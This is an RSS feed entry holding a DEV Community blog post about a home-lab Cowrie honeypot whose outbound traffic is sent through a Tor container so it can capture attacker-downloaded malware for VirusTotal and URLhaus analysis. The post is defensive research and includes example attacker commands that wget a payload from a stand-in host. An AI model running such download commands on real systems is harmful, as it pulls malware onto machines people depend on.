<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Jari Huttunen</title>
    <description>The latest articles on DEV Community by Jari Huttunen (@jarihu).</description>
    <link>https://dev.to/jarihu</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4076500%2F585bff86-0f91-4c4b-a953-79bb6ac72f1b.png</url>
      <title>DEV Community: Jari Huttunen</title>
      <link>https://dev.to/jarihu</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/jarihu"/>
    <language>en</language>
    <item>
      <title>I Made My Honeypot Download Malware.</title>
      <dc:creator>Jari Huttunen</dc:creator>
      <pubDate>Thu, 13 Aug 2026 15:27:59 +0000</pubDate>
      <link>https://dev.to/jarihu/i-made-my-honeypot-download-malware-jgi</link>
      <guid>https://dev.to/jarihu/i-made-my-honeypot-download-malware-jgi</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; I wanted Cowrie to actually download the malware attackers were throwing at it. Unfortunately, my security controls had other ideas. I found a way around the problem without weakening my OPNsense rules.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The problem: my honeypot was too well protected&lt;/li&gt;
&lt;li&gt;Why I didn't just whitelist Cowrie&lt;/li&gt;
&lt;li&gt;The solution: Cowrie goes Tor&lt;/li&gt;
&lt;li&gt;The Docker Compose&lt;/li&gt;
&lt;li&gt;Now the download actually happens&lt;/li&gt;
&lt;li&gt;And now things get interesting&lt;/li&gt;
&lt;li&gt;One important disclaimer&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The problem: my honeypot was too well protected
&lt;/h2&gt;

&lt;p&gt;I've been playing around with &lt;a href="https://github.com/cowrie/cowrie" rel="noopener noreferrer"&gt;Cowrie&lt;/a&gt; in my home lab, running it in Docker on Proxmox behind OPNsense.&lt;/p&gt;

&lt;p&gt;The goal is pretty simple:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Let attackers do stupid things to a machine that exists specifically so attackers can do stupid things to it.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I wanted Cowrie to capture malware that attackers were trying to download, then automatically send useful bits of it to VirusTotal and Urlhaus.&lt;/p&gt;

&lt;p&gt;There was just one small problem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My firewall was doing its job.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Which, in this particular case, was extremely inconvenient.&lt;/p&gt;

&lt;p&gt;My network looks roughly like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Internet
    |
    v
 OPNsense
    |
    +-- CrowdSec
    |
    v
 Proxmox
    |
    +-- Cowrie
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;OPNsense is doing the usual sensible security things, including CrowdSec blocking known malicious destinations. Normally: &lt;strong&gt;Excellent. Five stars. Keep doing that.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;But Cowrie is not a normal server. If an attacker gets a shell and runs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://some-sketchy-ip/payload
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I don't want OPNsense to say:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Absolutely not, that's malware."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I want Cowrie to say:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Oh? You're downloading something? By all means. Please continue."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Because that's literally why the honeypot exists.&lt;br&gt;
Instead, I was getting something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attacker
   |
   v
Cowrie
   |
   v
wget http://evil.example/payload
   |
   v
OPNsense
   |
   v
NOPE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The malicious URL was known to CrowdSec, so the outbound connection was blocked.&lt;/p&gt;

&lt;p&gt;No download. No sample. No analysis.&lt;/p&gt;

&lt;p&gt;Just a very secure honeypot sitting there politely refusing to get hacked.&lt;br&gt;
Not exactly what I ordered.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why I didn't just whitelist Cowrie
&lt;/h2&gt;

&lt;p&gt;The obvious solution is to create a firewall rule:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Cowrie is allowed to connect to malicious things."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Technically, sure. But I really didn't like that approach.&lt;br&gt;
I'd be turning the honeypot into a special trusted machine and then maintaining firewall exceptions around it. That's backwards.&lt;/p&gt;

&lt;p&gt;The whole point of the honeypot is that &lt;strong&gt;I don't trust it&lt;/strong&gt;.&lt;br&gt;
So instead of teaching OPNsense to trust Cowrie, I decided to make Cowrie's outbound traffic go somewhere else.&lt;/p&gt;

&lt;p&gt;Enter Tor.&lt;/p&gt;
&lt;h2&gt;
  
  
  The solution: Cowrie goes Tor
&lt;/h2&gt;

&lt;p&gt;The new setup looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                       Internet
                          ^
                          |
                     Tor network
                          ^
                          |
                   +------+------+
                   |  tor-router |
                   |   Docker    |
                   +------+------+
                          |
                  shared network
                     namespace
                          |
                   +------+------+
                   |   Cowrie   |
                   +------------+

                          |
                       Proxmox
                          |
                       OPNsense
                          |
                       Internet
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The trick is that Cowrie and the Tor container share the same network namespace.&lt;/p&gt;

&lt;p&gt;This line is the important one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;network_mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;container:tor-router"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cowrie basically gets shoved into the Tor container's network stack.&lt;br&gt;
Then iptables transparently redirects outbound TCP and DNS traffic to Tor.&lt;br&gt;
No proxy configuration inside Cowrie.&lt;br&gt;
No modifying whatever malware happens to be running.&lt;br&gt;
No trying to predict which ports or protocols an attacker will use.&lt;br&gt;
Cowrie just thinks it has normal Internet access.&lt;/p&gt;

&lt;p&gt;It doesn't.&lt;/p&gt;

&lt;p&gt;And that's exactly what I want.&lt;/p&gt;
&lt;h2&gt;
  
  
  The Docker Compose
&lt;/h2&gt;

&lt;p&gt;Here's the whole thing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;3.8'&lt;/span&gt;

&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;tor-router&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;alpine:latest&lt;/span&gt;
    &lt;span class="na"&gt;container_name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tor-router&lt;/span&gt;

    &lt;span class="c1"&gt;# Cowrie shares this container's network namespace,&lt;/span&gt;
    &lt;span class="c1"&gt;# so its ports need to be exposed here.&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2222:2222"&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2223:2223"&lt;/span&gt;

    &lt;span class="na"&gt;cap_add&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;NET_ADMIN&lt;/span&gt;

    &lt;span class="na"&gt;entrypoint&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="s"&gt;sh -c "&lt;/span&gt;
      &lt;span class="s"&gt;apk add --no-cache tor iptables &amp;amp;&amp;amp;&lt;/span&gt;
      &lt;span class="s"&gt;echo -e 'Log notice stdout\nDataDirectory /var/lib/tor\nUser tor\nTransPort 127.0.0.1:9040\nDNSPort 127.0.0.1:5353' &amp;gt; /etc/tor/torrc &amp;amp;&amp;amp;&lt;/span&gt;

      &lt;span class="s"&gt;iptables -t nat -A OUTPUT&lt;/span&gt;
      &lt;span class="s"&gt;-p tcp&lt;/span&gt;
      &lt;span class="s"&gt;-m owner --uid-owner tor&lt;/span&gt;
      &lt;span class="s"&gt;-j RETURN &amp;amp;&amp;amp;&lt;/span&gt;

      &lt;span class="s"&gt;iptables -t nat -A OUTPUT&lt;/span&gt;
      &lt;span class="s"&gt;-p tcp&lt;/span&gt;
      &lt;span class="s"&gt;-j REDIRECT --to-ports 9040 &amp;amp;&amp;amp;&lt;/span&gt;

      &lt;span class="s"&gt;iptables -t nat -A OUTPUT&lt;/span&gt;
      &lt;span class="s"&gt;-p udp --dport 53&lt;/span&gt;
      &lt;span class="s"&gt;-j REDIRECT --to-ports 5353 &amp;amp;&amp;amp;&lt;/span&gt;

      &lt;span class="s"&gt;tor -f /etc/tor/torrc&lt;/span&gt;
      &lt;span class="s"&gt;"&lt;/span&gt;

    &lt;span class="na"&gt;restart&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;always&lt;/span&gt;

  &lt;span class="na"&gt;cowrie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cowrie/cowrie:latest&lt;/span&gt;
    &lt;span class="na"&gt;container_name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cowrie-honeypot&lt;/span&gt;

    &lt;span class="c1"&gt;# This is the magic.&lt;/span&gt;
    &lt;span class="na"&gt;network_mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;container:tor-router"&lt;/span&gt;

    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./cowrie-var:/path/to/cowrie/var&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./cowrie.cfg:/path/to/cowrie/etc/cowrie.cfg:ro&lt;/span&gt;

    &lt;span class="na"&gt;depends_on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;tor-router&lt;/span&gt;

    &lt;span class="na"&gt;restart&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;always&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are two things worth understanding here.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Cowrie shares the Tor network namespace
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;network_mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;container:tor-router"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means Cowrie doesn't have its own network namespace. It uses the one belonging to &lt;code&gt;tor-router&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Consequently, the published Cowrie ports also have to be configured on &lt;code&gt;tor-router&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2222:2222"&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2223:2223"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Otherwise Docker gets understandably confused about where those ports are supposed to go.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. iptables catches Cowrie's traffic
&lt;/h3&gt;

&lt;p&gt;Tor is listening on:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TransPort 127.0.0.1:9040
DNSPort   127.0.0.1:5353
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;TCP traffic gets redirected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-A&lt;/span&gt; OUTPUT &lt;span class="nt"&gt;-p&lt;/span&gt; tcp &lt;span class="nt"&gt;-j&lt;/span&gt; REDIRECT &lt;span class="nt"&gt;--to-ports&lt;/span&gt; 9040
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;DNS gets redirected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-A&lt;/span&gt; OUTPUT &lt;span class="nt"&gt;-p&lt;/span&gt; udp &lt;span class="nt"&gt;--dport&lt;/span&gt; 53 &lt;span class="nt"&gt;-j&lt;/span&gt; REDIRECT &lt;span class="nt"&gt;--to-ports&lt;/span&gt; 5353
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But there's an important exception:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-A&lt;/span&gt; OUTPUT &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-p&lt;/span&gt; tcp &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-m&lt;/span&gt; owner &lt;span class="nt"&gt;--uid-owner&lt;/span&gt; tor &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-j&lt;/span&gt; RETURN
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Otherwise Tor would catch its own traffic and send it back into its own transparent proxy.&lt;/p&gt;

&lt;p&gt;Which would be bad.&lt;/p&gt;

&lt;p&gt;Very bad.&lt;/p&gt;

&lt;h2&gt;
  
  
  Now the download actually happens
&lt;/h2&gt;

&lt;p&gt;The attacker does:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://evil.example/payload
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cowrie sees it.&lt;/p&gt;

&lt;p&gt;The connection gets redirected to Tor.&lt;/p&gt;

&lt;p&gt;Tor takes it from there.&lt;/p&gt;

&lt;p&gt;Eventually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Cowrie
   |
   v
iptables
   |
   v
Tor
   |
   v
Tor exit
   |
   v
evil.example
   |
   v
payload
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And finally Cowrie gets the thing I actually wanted: &lt;strong&gt;the malware.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Meanwhile, my normal network still goes through OPNsense and CrowdSec exactly as before. That's the important bit.&lt;/p&gt;

&lt;p&gt;I haven't told my firewall:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Hey, malicious destinations are fine now."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I've effectively told the honeypot:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"You're on your own. Good luck."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Which feels much more appropriate.&lt;/p&gt;

&lt;h2&gt;
  
  
  And now things get interesting
&lt;/h2&gt;

&lt;p&gt;Once Cowrie can actually retrieve the files, I can build a useful pipeline around them.&lt;/p&gt;

&lt;p&gt;Something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                    Cowrie
                       |
                download event
                       |
                       v
                  Malware file
                       |
              +--------+--------+
              |                 |
              v                 v
           SHA-256           Urlhaus
              |
              v
          VirusTotal
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I've also been working on an &lt;strong&gt;Urlhaus output module for Cowrie&lt;/strong&gt;, so this experiment has turned into a bit of a rabbit hole.&lt;/p&gt;

&lt;p&gt;The interesting part isn't really "I made Cowrie use Tor."&lt;/p&gt;

&lt;p&gt;It's the combination of:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;honeypot → capture → enrichment → threat intelligence&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Instead of:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Look, my honeypot got attacked."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I wanted:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Look, my honeypot got attacked, here's what they downloaded, here's the hash, here's where it came from, and here's what the threat-intelligence services know about it."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That's considerably more useful.&lt;/p&gt;

&lt;h2&gt;
  
  
  One important disclaimer
&lt;/h2&gt;

&lt;p&gt;This is a honeypot. It is an open invite to all things nasty and evil on the internet. It is deliberately allowing potentially hostile software to make outbound connections. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not copy this architecture and put your production server behind it because some guy on the internet said it was cool.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The honeypot should be isolated from anything you actually care about.&lt;/p&gt;

&lt;p&gt;For me, the nice property of this setup is that I don't need to weaken my normal OPNsense/CrowdSec security controls just to make the honeypot useful. TOR also hides my identity from remote malware sites thus also preserving honeypot's existence.&lt;/p&gt;

&lt;p&gt;My normal machines can continue to get:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;BLOCKED&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;when they try to connect to known malicious infrastructure.&lt;/p&gt;

&lt;p&gt;Cowrie gets:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Sure, go ahead. Let's see what happens.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That's exactly the separation I wanted.&lt;/p&gt;

</description>
      <category>cowrie</category>
      <category>cybersecurity</category>
      <category>honeypot</category>
      <category>tor</category>
    </item>
  </channel>
</rss>
